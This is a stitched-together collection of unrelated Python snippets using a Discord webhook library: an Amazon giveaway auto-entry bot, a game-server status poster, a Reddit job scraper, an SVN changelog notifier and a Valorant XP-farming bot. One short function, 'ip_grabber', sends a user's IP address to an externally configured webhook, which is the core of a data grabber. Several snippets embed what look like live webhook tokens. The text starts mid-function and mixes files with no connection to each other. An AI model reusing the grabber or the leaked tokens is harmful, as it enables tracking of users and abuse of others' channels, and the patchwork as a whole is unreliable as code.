open(PICKLE_FILE_PATH, 'wb')) pause_small() # Check to see if we have already participated in the giveaway if ready.text == 'Enter for a chance to win!': pause_small() # Check type of Giveaway and run ga_run = give_away_type(driver) if ga_run == 1: print('Playing Amazon Video') pause_medium() amazon_video(driver) elif ga_run == 2: print('Playing Youtube Video') pause_medium() youtube_video(driver) elif ga_run == 3: print('Opening Box') pause_medium() instant_box(driver) else: print("Could not determine type of Giveaway. Moving on..") continue print('Waiting for the box to disappear') else: print('You already participated in this giveaway. Moving on.') continue while True: # This ensures we know what the result is because even though the box disappears # sometimes the result lags behind title = element_exists( driver, '//div[@class="a-section a-spacing-medium a-text-left"]', lookup_by=By.XPATH) if title and title.text != 'Enter for a chance to win!': pause_mini() break else: print('Page loaded but not ready. Sleeping for 1 seconds.') pause_small() if "You didn't win" in title.text: print("You didn't win.. movin on!") pause_mini() continue elif 'you won!' in title.text: print(title.text) print('You won!') # Discord Webhook; Alert the discord someone has won a giveaway webhook = DiscordWebhook( url='https://discordapp.com/api/webhooks/631290515626655764/' 'agWlfyxrzgaUlBEZ8trMf3YdUjQEZYSkoMuXk0ZOwGJLOIWrxxfnMCLfUFETOvy0xulW', content=f'An AGB user has won a giveaway! {giveaway_link}') webhook.execute() pause_small() # Call the confirm_address function if confirm_address(driver): # If you win, will continue; exit if issue occurred. time.sleep(15) pause_small() continue else: return True except InvalidArgumentException as e: raise e except Exception as e: print(e) # Move onto next link, regardless of error this link produced pass # Finished with fresh_links. Store all attempted links for later pickle.dump(past_links, open(PICKLE_FILE_PATH, 'wb')) return you_won
#! /usr/bin/env python # -*- coding: utf-8 -*- from discord_webhook import DiscordWebhook import requests import json r = requests.get('https://api.battlemetrics.com/servers/10871556') reponse_data = json.loads(r.content) # print(reponse_data["data"]["attributes"]) content = "" name = reponse_data["data"]["attributes"]["name"] status = reponse_data["data"]["attributes"]["status"] online = reponse_data["data"]["attributes"]["players"] ip = reponse_data["data"]["attributes"]["ip"] port = reponse_data["data"]["attributes"]["port"] mplayers = reponse_data["data"]["attributes"]["maxPlayers"] content += '--------------------------------------------------' + '\r\n' content += '🏳️ Инфо: ' + str(name) + '\r\n' content += '🚹 Игроков онлайн: ' + str(online) + '/' + str(mplayers) + '\r\n' content += '🟢 татус: ' + str(status) + '\r\n' content += '💾 IP сервера: ' + str(ip) + ':' + str(port) + '\r\n' content += '--------------------------------------------------' print(content) allowed_mentions = { "users": ["123", "124"] } webhook = DiscordWebhook(url='YOUR-WEBHOOK-URL', content=content, allowed_mentions=allowed_mentions) response = webhook.execute()
def ip_grabber(): webhook = DiscordWebhook(url=ext['webhook-id'], content=f"User IP Address: {IPAddr}", username=ext['webhook-name']) webhook.execute()
def post_jobs(): try: for submission in subreddit.stream.submissions(): questions = ["hiring", "task"] normalized_title = submission.title.lower() for question_phrase in questions: if question_phrase in normalized_title: print(submission.title) if question_phrase in questions[0]: if submission.subreddit == "designjobs": webhook_urls = [ 'https://discord.com/api/webhooks/793504883231293460/537FucLOsNuzmTYGlDE5Y3q3BsPUuXqQul2WT4CIYrRjvypNMSkOQTjafI-7rD33FgE8' ] webhook = DiscordWebhook( url=webhook_urls, title='New job posting added!') airtable.insert({ 'title': submission.title, 'url': submission.url, 'author': submission.author.name, 'type': 'Design', 'desc': submission.selftext, 'created': submission.created_utc }) elif submission.subreddit == "forhire": webhook_urls = [ 'https://discord.com/api/webhooks/793120420185505834/HPdMDjEfYh3HDR1Ogn2q_qXSEWHoH6o1cgnHyKroxmGANqtpe4Yl6un4s0Cpj28C_ClF' ] webhook = DiscordWebhook( url=webhook_urls, title='New job posting added!') airtable.insert({ 'title': submission.title, 'url': submission.url, 'author': submission.author.name, 'type': 'Misc', 'desc': submission.selftext, 'created': submission.created_utc }) elif submission.subreddit == "hireawriter": webhook_urls = [ 'https://discord.com/api/webhooks/793507079314472992/p-gIMsIMwuN3rc2VFyjCalbSLEBNswqjC90tOpB877lDuuLBm0GYhFNGJfV6aYtoXxXO' ] webhook = DiscordWebhook( url=webhook_urls, title='New job posting added!') airtable.insert({ 'title': submission.title, 'url': submission.url, 'author': submission.author.name, 'type': 'Writing', 'desc': submission.selftext, 'created': submission.created_utc }) elif submission.subreddit == "jobbit": webhook_urls = [ 'https://discord.com/api/webhooks/793507407761244180/8-eYhP_5bhjv9Je21vj-0wYoht4Mii5E27JQp508OO_I2RsGRZxVf8s1nbwJkCTYeGhE' ] webhook = DiscordWebhook( url=webhook_urls, title='New job posting added!') airtable.insert({ 'title': submission.title, 'url': submission.url, 'author': submission.author.name, 'type': 'IT', 'desc': submission.selftext, 'created': submission.created_utc }) elif question_phrase in questions[1]: webhook_urls = [ 'https://discord.com/api/webhooks/793497863510294539/MgZT5cOJWwUZH5sR6RA7Fn-9WEvE02YVL61NXkVc66KTEZj7YiJPJJQm0L-kixu48LIC' ] webhook = DiscordWebhook( url=webhook_urls, title='New job posting added!') airtable.insert({ 'title': submission.title, 'url': submission.url, 'author': submission.author.name, 'type': 'Misc', 'desc': submission.selftext, 'created': submission.created_utc }) embed = DiscordEmbed(title="Click here", description=submission.title, color=242424, url=submission.url) webhook.add_embed(embed) response = webhook.execute() except: post_jobs()
def send_webhook(content): webhook = DiscordWebhook(url=config.webhook_url, content=content) try: webhook.execute() except: log("Error while sending webhook occurred!")
from discord_webhook import DiscordEmbed, DiscordWebhook webhook = DiscordWebhook(url="your webhook url") with open("path/to/image.jpg", "rb") as f: webhook.add_file(file=f.read(), filename="example.jpg") embed = DiscordEmbed( title="Embed Title", description="Your Embed Description", color=242424 ) embed.set_thumbnail(url="attachment://example.jpg") webhook.add_embed(embed) response = webhook.execute()
def utc_to_local(utc_dt): local_dt = utc_dt.replace(tzinfo=pytz.utc).astimezone(local_tz) return local_tz.normalize(local_dt) def aslocaltimestr(utc_dt): return utc_to_local(utc_dt).strftime('%m/%d/%Y, %I:%M:%S %p') discord_url = 'YOUR_WEBHOOK_URL' #Set the URLs for the svn and the Discord webhook r = svn.remote.RemoteClient('YOUR_SVN_ADDRESS') #only records changes in trunk webhook = DiscordWebhook(url=discord_url, username='******') commitMadeToday = False outfile = open("changelog.txt", "r+") outfile.write("Today's changes:" + "\n") outfile.write("====================\n") webhook.avatar_url = 'https://i.imgur.com/Pi5ICIR.jpg' def discord(u): global commitMadeToday i = 0 for e in r.log_default():
def xpscreen(self): global line print(Style.RESET_ALL) print(Fore.YELLOW + " [-] SEARCHING FOR THE XP SCREEN") time.sleep(3) now = time.time() future = now + 600 restarttime = start_time + self.secondsuntilrestart while True: if time.time() > future: # detects possible issue with valorant and restarts the game print(Style.RESET_ALL) print(Fore.RED + " [!] FOUND A POSSIBLE ERROR WITH VALORANT") self.startvalorant() break xpscreen = pyautogui.locateOnScreen("images/play.png", grayscale=True) xpscreen2 = pyautogui.locateOnScreen("images/play.png", confidence=0.6, grayscale=True) if xpscreen is not None or xpscreen2 is not None: print(Style.RESET_ALL) print(Fore.GREEN + " [√] DETECTED THE XP SCREEN") time.sleep(2) runtime = datetime.now() - start runtime = str(runtime) runtime = runtime[:-7] exact = start.strftime("%H:%M:%S") dat = start.strftime("%d %h %Y") print(Style.RESET_ALL) print(Style.RESET_ALL) print(Style.RESET_ALL + Fore.YELLOW + "——————————————————————————————————————————————————————") print(Style.RESET_ALL) print( Fore.YELLOW + " Earned", Style.BRIGHT + Fore.YELLOW + str(self.xpamount) + " XP" + Style.RESET_ALL + Fore.YELLOW, "in total") print( Fore.YELLOW + " Bot has been running for", Style.BRIGHT + Fore.YELLOW + str(runtime) + Style.RESET_ALL + Fore.YELLOW) print( Fore.YELLOW + " Bot was started at", Style.BRIGHT + Fore.YELLOW + str(exact), Style.RESET_ALL + Fore.YELLOW + "on the" + Style.BRIGHT + Fore.YELLOW, dat + Style.RESET_ALL + Fore.YELLOW) print(Fore.YELLOW + " Played", Style.BRIGHT + Fore.YELLOW + str(self.gamesplayed), "games" + Style.RESET_ALL + Fore.YELLOW) print(" Valorant has been", Style.BRIGHT + Fore.YELLOW + "restarted", self.restarted, "times") print(Style.RESET_ALL) print(Style.RESET_ALL + Fore.YELLOW + "——————————————————————————————————————————————————————") print(Style.RESET_ALL) print(Fore.YELLOW + " " + self.version) print(Style.RESET_ALL) print(Style.RESET_ALL) time.sleep(1) if self.foundwebhook is True: restartstring = (str(self.restarted) + " times") if self.restarted == 0: restartstring = "Not yet restarted" elif self.restarted == 1: restartstring = "1 time" webhook = DiscordWebhook(url=self.hookline, username="******") embed = DiscordEmbed(color=34343) embed.set_author( name=self.version, url="https://github.com/MrFums/Valbot", icon_url= "https://raw.githubusercontent.com/MrFums/ValbotAssets/main/jett.png", ) embed.set_footer(text=self.version.replace("Valbot", "")) embed.set_timestamp() embed.set_thumbnail( url= 'https://raw.githubusercontent.com/MrFums/ValbotAssets/main/valbot18_circle.png' ) embed.add_embed_field(name="Total XP", value=self.xpamount, inline=False) embed.add_embed_field(name="Games Played", value=self.gamesplayed, inline=False) embed.add_embed_field(name="Current Runtime", value=runtime, inline=False) embed.add_embed_field(name="Valorant Restarted", value=restartstring, inline=False) webhook.add_embed(embed) webhook.execute() else: print(Style.RESET_ALL) print(Fore.RED + " [!] DISCORD WEBHOOK IS NOT SETUP") time.sleep(4) pyautogui.click(x=960, y=540) time.sleep(1) if time.time() > restarttime: if os.path.exists("runtime_values"): os.remove("runtime_values") f = open("runtime_values", "a+") f.write(str(self.xpamount)) f.write("\n") f.write(str(self.gamesplayed)) f.write("\n") f.write(str(self.restarted)) f.close() # detects possible issue with valorant and restarts the game print(Style.RESET_ALL) print( Fore.RED + " [!] BOT IS NOW RESTARTING AFTER 2 HOURS OF RUNTIME") self.restartbot() break self.playbutton()